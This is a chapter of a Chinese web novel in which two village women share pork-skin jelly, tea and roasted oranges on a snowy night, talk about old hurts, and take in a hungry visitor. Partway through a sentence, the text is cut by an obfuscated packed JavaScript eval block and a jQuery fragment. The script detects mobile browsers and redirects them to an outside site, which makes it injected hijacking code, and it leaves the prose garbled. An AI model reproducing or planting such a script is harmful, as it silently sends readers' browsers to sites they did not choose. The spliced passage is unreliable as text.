“成了，快切。”


    盆里的皮冻倒扣在刀板上，完完整整地一整块，沉底的猪皮伴着绿油油的芫荽叶子露在最顶端，些许香料沫也展现在清亮的皮冻里。


    苏初妍用刀背拍拍皮冻，也晃悠了两下，倒也成型了。


    里面的大葱煮烂了，苏初妍用筷子捞出来。


    对半破开，再片成片，码在盘子里，又翻找出了一个小碟子，只有掌心大小，再在里面倒上香醋。


    “你尝尝，我都不知道淡了还是咸了。”


    苏初妍拿起块皮冻，沾了沾醋，喂给孙莺吃。


    “里面的猪皮都软烂了，好吃，醋也好吃。”


    “那就好。”


    苏初妍笑得眉眼弯弯，拿起盘子放上桌子。


    晚上又再煮了个汤菜，白水煮萝卜汤，放块猪油一起炖。


    萝卜出水，本就是清水烧开来煮的萝卜，若是不加些荤腥，吃完肚子不舒服。


    皮冻有一大盆，苏初妍只切了一半装盘来吃，剩下的不动，由雪冻着，天气冷，不是那么容易坏。


    皮冻里只有咸味，多的就是芫荽香味，其余的调味靠的就是那一小碟子里的醋还有些蒜末，辣椒也挖了勺，味道浓烈，配着有些寡淡的皮冻正好。


    反正苏初妍平日里吃的味道重，尤其是这寒冬腊月，吃辣或是喝烧酒就是为了暖身子，这庄上家家户户就有几罐自家做的辣子备着，酒也不少，只是买的大多都不贵，有卖酒的来，那些酒罐子就围上一圈子的人，都是来打酒。


    苏初妍也买了不少酒，赵渊要喝酒，临走前还带上了一壶酒进山，不然冷起来连个法子都没有，有酒好歹还能喝点子酒暖身。


    她做饭重味，放酒的菜也不少见，有时候她也会在睡前独酌两口，睡得就无比的香甜。


    “喝不喝酒？我家里有好几坛子的酒，等开了春，暖和些了，我就去包些酒曲子来酿米酒喝。”


    苏初妍作势起身要去舀酒来，不过孙莺将她拦了下来。


    “不喝，我吃完还要喝些茶水。”


    “好，前些日子忙地里的事，回回都说要泡壶茶到田上去喝，回回都忘，现在冷了，更是忘记喝茶了，每日蜷缩在被窝里绣花。”


    孙莺喝了一大碗萝卜汤，觉得心里舒坦了些。


    屋外是连片的大雪，满地都是，偶有人挑着扁担路过也是穿着蓑衣，头戴斗笠，快步走过，不敢停留。


    这日子过得乏味，苏初妍只靠绣绣花熬日子过，不过好在还有孙莺陪着自己吃吃喝喝，说说笑笑也就过了一天。


    “吃完烤火不？在屋子里也没啥能做的事儿，无非是烤烤火，倒着睡个昏天暗地。”


    孙莺吃得打嗝，还不忘去夹皮冻吃，味道倒是只剩下佐料的香辣酸，只吃得出来这皮冻弹弹滑滑的感觉。


    “那好，你总是只知道烤手烤脚，我教教你怎么烤得风雅有趣，对了，明日我白日里要去做帮工，就不在家了，等这段时间过了，来我家打糍粑吃。”


    苏初妍点头，旋即又想起什么来了，声音小了些。


    “你那里还要不要多的人？我也想去。”


    “这有啥？明日我去帮你问问东家。”


    她懂苏初妍的心思，虽说两人关系不错，不过还是不能完完全全将自己的心思交托出来，有些事不便直说，不过她懂得就行。


    “好，谢谢你孙莺。”


    “这有啥？”


    这不就是顺口的一句话？孙莺不解像苏初妍这般性子的人的心思，只能是安慰她，不然她多想。


    “你定是觉得奇怪，只是不是每个人都同你一般，不是的。”


    苏初妍吃得肚儿圆，瞧向窗外时总是会想起很多事来，或许如今的谨慎都是得了教训才唯唯诺诺起来。


    她听过很多所谓背后的话，难过了一阵，时时不忘，每句话都会让她想起那时。


    “你难过了吗？不要去想了，并非每个人都是良人，不过总有好人。”


    “如今有你，有赵渊，我没那么伤心了，那些仿佛过了很久，我都快要想不起来了，我都想不起来他们长什么样子了，只是那些话还留着，也无妨，算是对我的告诫罢了。”


    孙莺收拾着碗筷。


    “总不能老是就这般活在旁人的话里。”


    两个人待在一堆就极其易感伤，苏初妍闲说两句，也起身拾掇。


    “莫要难过了。”


    苏初妍接过她洗完头次还有沫子的碗，用清水再细细洗干净。


    “不难过，我也不想这般，只是觉得你是个极好的人，嘴里难免就说出这番话里，若是有源头，那定是我母亲的那股性子也传给我了。”


    孙莺刷锅，没炒什么菜，底下也没多少油烧黑锅，只将油洗去就好。


    “那便好。”孙莺叹气，她洗完苏初妍就接着洗，她倒是先腾出手来，去架起火来。


    “初妍，你难过我就难受。”


    “都过去了，这些不过都是些闲话罢了。”


    孙莺压灭火，只剩下炭火慢慢烘烤着。


    “初妍，我同你讲，你总是觉得我每日都过得高兴，像是没什么能打败我的样子，你知道我为啥在这儿住？为啥要分家？”


    烛光昏暗，往日一贯是笑脸的人现在不复从前，孙莺撑开火钳夹子，横放在火盆上。


    “原先我们的住在一起，人多，地方小了，家里也穷，住的地方小了，自然也就总是吵闹，我才过门的时候还是能忍，那时候不觉得有啥，只是后来回数多了，饶是我也砸吧出些不对劲起来了。”


    剥下来的橘子皮放在火钳上炕出香味来，陶土杯里灌些水，放上去等着水热了再撒些茶叶。


    屋子里漫出一股暖和的馨香味道，孙莺翻动下橘子皮，里面的汁水炕干，满屋子都发出橘子香。


    “嗯，后来呢？”


    孙莺笑道：“后来就天天吵，为了一只鸡，一捧土都要吵闹，那时候我虽不知该如何做，只是这嘴皮子倒是练了起来，姓李的不会吵，任由这他们俩人闹，还是有次在家里我跟她打起来了，才搬了出来，从此就分了家。”


    “跟你也能吵闹起来？那我倒是多少有些不信。”


    孙莺嘴角始终是笑着，瞧着火，但却不仅瞧着火。


    “这世上动动嘴皮子是最容易的事，不过为了这些事反倒让自个儿难受倒是最不值当的事。”


    苏初妍手上还有水，放到炭火上烘烤干，手就变得暖融融。


    一个橘子放在火上热，苏初妍拿了下来，剥开后里面也都烤热乎


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16058458|174088||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了，她分给孙莺一半。


    水热了，用指尖捏起一点茶叶，放进两只杯中。


    “要枣子不？”


    “不必了，等会儿我回家去取些牛乳来冲茶水喝，这还是主家送与我们的，说是自家小公子喝不完，分给我们喝，我多带些，你我一道喝。”


    苏初妍手暖和了不少，低着脑袋摇头。


    “我只喜欢单单喝一样。”


    “我倒是喜欢这样搭着吃。”


    “瞧，茶水煮出来了，你去拿吧，等会儿更是冷了，快些回去拿了再来。”


    苏初妍翻找出一柄烛火，又罩住这火光，递给了她。


    “也好。”


    只是这屋子里暖和得像是春日，不过一出门这寒气就迎面打来，不禁让人头脑发昏。


    苏初妍等她出了门，又将门锁上，透过门缝瞧见她渐行渐远。


    火烛不禁风，要人一路用手护着，哪怕有个罩子盖着，这还是要人护着才不熄灭。


    苏初妍回房，吃完了自己的那半橘子，火烤过后更是甜了起来，竟然甜到发腻，要连忙喝些茶水，一甜一苦倒是搭配。


    轻轻搅动杯中的茶叶，那水就越发浑厚起来了，浓茶醇香发苦，苏初妍倒也喜欢。


    只是还没送进嘴里，她就听见了敲门声。


    “孙莺真快。”


    苏初妍连忙喝下嘴里的茶水，将杯子放回原处，然后起身去开门，嘴里边念叨着，边透过门缝去瞧外头的人。


    门外的人定不是孙莺，苏初妍第一眼就知道。


    那人浑身裹得严实，破布上毛边都突出，在风雪里飘荡着，头上还戴着斗篷帽，她低着脑袋，像是要杵到地上那般。


    整个人都缩在大外衣里，手掌缩进袖口里，斗篷帽正好挡住她的脸。


    “谁？”


    或许是这句轻语惊扰了门外人，那人抬起头来，透过缝，也瞧见了苏初妍的那双眼睛。


    “饿，我饿。”她低语。


    “想吃些啥？”


    “我饿。”


    苏初妍自然是认出这人来了，心中的惊慌也减少了几分。


    “要进来不？”


    远处烛光闪动，孙莺快步走来，她打探了下四周，才凑近门。


    “这人咋来了？”


    “谁知道？她说她饿。”苏初妍还是开了门。


    “进去吧。”


    孙莺推她进门，然后随手就合上了门。


    苏初妍煮了碗面给她吃，没放完的臊子也结结实实往上面放了几勺，还没等她做好，这人就围着灶台转悠，若不是孙莺拦着，这人的手都要往热汤里伸去了。


    才出锅的面极其烫，苏初妍放远了些，还不准她吃，只是切了些皮冻放到她手上先垫肚子。


    “外面冷，姓李的问我咋回来了，我没理会他，烦人得很。”


    “李大哥只是不会说话，事还是会做。”


    孙莺叹气，用筷子一下一下挑着面，让面快些凉下来，只是被人眼巴巴地盯着，她着实也要快些翻动。


    “罢了，不去比就成。”


    面放在条凳上，她蹲着就开始大快朵颐起来。


    见她吃得香，面香味也四处传来，只往鼻孔里涌，孙莺咽了咽唾沫，别过脸去。